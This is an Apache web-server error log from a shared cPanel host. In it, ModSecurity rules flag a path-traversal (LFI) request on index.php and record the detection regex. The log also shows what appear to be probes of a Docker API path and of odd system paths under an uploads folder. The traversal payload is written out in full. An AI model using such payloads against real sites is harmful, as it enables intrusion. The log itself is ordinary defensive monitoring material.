[Fri Jul 17 10:23:31.944411 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944432 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /index.php?lang=../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944451 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944476 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../../../../../../tmp/index1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.944956 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 33)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/index.php"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:31.945601 2026] [security2:error] [pid 2075901:tid 2075901] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 33 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 33, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1S2FDQ6dUmh6WfoaERwAAAAc"]
[Fri Jul 17 10:23:32.665695 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:33.013096 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:51296] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:33.196284 2026] [security2:error] [pid 2075780:tid 2075780] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/containers/json"] [unique_id "alm1TR0C3r-GF3RTNAbS4QAAAAY"]
[Fri Jul 17 10:23:33.212273 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:33.371878 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:51322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:33.435460 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:51332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:34.248616 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:35.364871 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:36.932440 2026] [security2:error] [pid 2075904:tid 2075904] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "mail.ceylondigest.com"] [uri "/index.php"] [unique_id "alm1TTuaDdNRw9_WO14x1gAAAAg"]
[Fri Jul 17 10:23:36.932481 2026] [security2:error] [pid 2075904:tid 2075904] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "mail.ceylondigest.com"] [uri "/index.php"] [unique_id "alm1TTuaDdNRw9_WO14x1gAAAAg"]
[Fri Jul 17 10:23:37.007236 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:37.070722 2026] [security2:error] [pid 2075780:tid 2075780] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm1UB0C3r-GF3RTNAbS5gAAAAY"]
[Fri Jul 17 10:23:37.070754 2026] [security2:error] [pid 2075780:tid 2075780] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "alm1UB0C3r-GF3RTNAbS5gAAAAY"]
[Fri Jul 17 10:23:37.194759 2026] [core:crit] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cpanel/ea-php83/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cpanel/ea-php83/root/root/' is executable
[Fri Jul 17 10:23:37.649057 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:51574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:37.954936 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:37.961891 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:38.893404 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:39.683518 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:51652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:40.770749 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:40.804036 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:41.548911 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:42.950583 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:43.566916 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:44.471577 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:44.534346 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:38850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:44.572850 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty20/subsystem/tty12/dev"] [unique_id "alm1WJT6UchYzP7t8WhLqQAAABI"]
[Fri Jul 17 10:23:44.572905 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty20/subsystem/tty12/dev"] [unique_id "alm1WJT6UchYzP7t8WhLqQAAABI"]
[Fri Jul 17 10:23:44.740067 2026] [security2:error] [pid 2075723:tid 2075723] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/buy.php"] [unique_id "alm1WED0S6w5KyU992INbAAAAAM"]
[Fri Jul 17 10:23:44.740131 2026] [security2:error] [pid 2075723:tid 2075723] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/buy.php"] [unique_id "alm1WED0S6w5KyU992INbAAAAAM"]
[Fri Jul 17 10:23:44.997875 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:45.030618 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:38874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:45.814961 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.278769 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.282199 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.421533 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.626222 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.826050 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:46.926352 2026] [core:error] [pid 2076257:tid 2076257] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:38/subsystem/ttyS3/uartclk
[Fri Jul 17 10:23:47.135365 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:47.235041 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:47.341822 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:47.746219 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:48.276129 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:48.373788 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:48.941894 2026] [ssl:error] [pid 2075693:tid 2075693] (70014)End of file found: [client 66.85.158.91:39052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:50.195649 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:33/subsystem/ttyS0/uartclk
[Fri Jul 17 10:23:50.234440 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:39114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:50.404373 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.470661 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.470747 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.500256 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.598257 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.710530 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:50.810831 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.113485 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.616608 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.812906 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:47856] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:23:51.828026 2026] [cgi:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/crash.cgi: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/crash.cgi' failed
[Fri Jul 17 10:23:51.835046 2026] [cgi:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] End of script output before headers: crash.cgi
[Fri Jul 17 10:23:51.891560 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.891785 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.891839 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:51.906579 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.020506 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.035265 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.121055 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.325906 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.424020 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.528984 2026] [core:error] [pid 2076258:tid 2076258] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS0/flags
[Fri Jul 17 10:23:52.566824 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.566895 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.566935 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.566958 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.566989 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.567007 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.567026 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.628437 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.854112 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:52.964310 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/lsb/init-functions"] [unique_id "alm1YHHGgRvC9MVf3SzH0gAAAAI"]
[Fri Jul 17 10:23:52.964343 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/lsb/init-functions"] [unique_id "alm1YHHGgRvC9MVf3SzH0gAAAAI"]
[Fri Jul 17 10:23:53.033618 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:53.172375 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:53.741257 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:54.046453 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:54.546964 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:54.755819 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:54.851867 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:55.054526 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:55.795216 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:56.411354 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:56.927225 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:57.129965 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:57.335030 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:57.768562 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/cache/uevent"] [unique_id "alm1ZQTUp7iFPeTAJ9d2HQAAAAU"]
[Fri Jul 17 10:23:57.768610 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/cache/uevent"] [unique_id "alm1ZQTUp7iFPeTAJ9d2HQAAAAU"]
[Fri Jul 17 10:23:57.848379 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:58.156226 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:58.458777 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:58.868564 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:59.386240 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:59.491935 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:59.903454 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1Z35-BwPGxupoEJk0fgAAAA0"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:23:59.903486 2026] [security2:error] [pid 2075693:tid 2075693] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1Z35-BwPGxupoEJk0fgAAAA0"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:24:00.606565 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:00.909649 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.110835 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.317370 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.418820 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.511120 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.525856 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.628422 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.728141 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:01.848074 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.039817 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.142908 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.244558 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.449627 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548606 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548747 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548806 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548846 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548885 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548912 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548940 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548964 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.548990 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549014 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549053 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549086 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549111 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549136 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549161 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549188 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549213 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549252 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549276 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549302 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549326 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549351 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:24:02.549394 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
